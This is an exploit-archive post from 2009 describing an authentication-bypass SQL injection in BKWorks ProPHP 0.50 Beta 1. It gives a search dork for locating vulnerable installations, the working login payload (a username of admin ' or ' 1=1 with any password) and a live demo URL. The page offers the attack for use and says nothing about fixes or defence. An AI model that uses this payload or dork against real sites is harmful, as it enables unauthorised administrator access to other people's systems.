BKWorks ProPHP 0.50b1 (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : BKWorks ProPHP 0.50b1 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-01-11
# Author : SirGod
# Previous Title : XOOPS Module tadbook2 (open_book.php book_sn) SQL Injection Vuln
# Next Title : Weight Loss Recipe Book 3.1 (Auth Bypass) SQL Injection Vuln

#############################################################################################
[+] BKWorks ProPHP 0.50 Beta 1 (Auth Bypass) SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
#############################################################################################

[+] Dork : Powered by BKWorks ProPHP Version 0.50 Beta 1

[+] SQL Injection Login Bypass

- Login as :

Username : admin ' or ' 1=1

Password : anything or nothing

And you will be logged in.

- Live Demo

    http://old.bkworksproducts.info/content/products/demos/ProPHP/


#############################################################################################

# www.Syue.com [2009-01-11]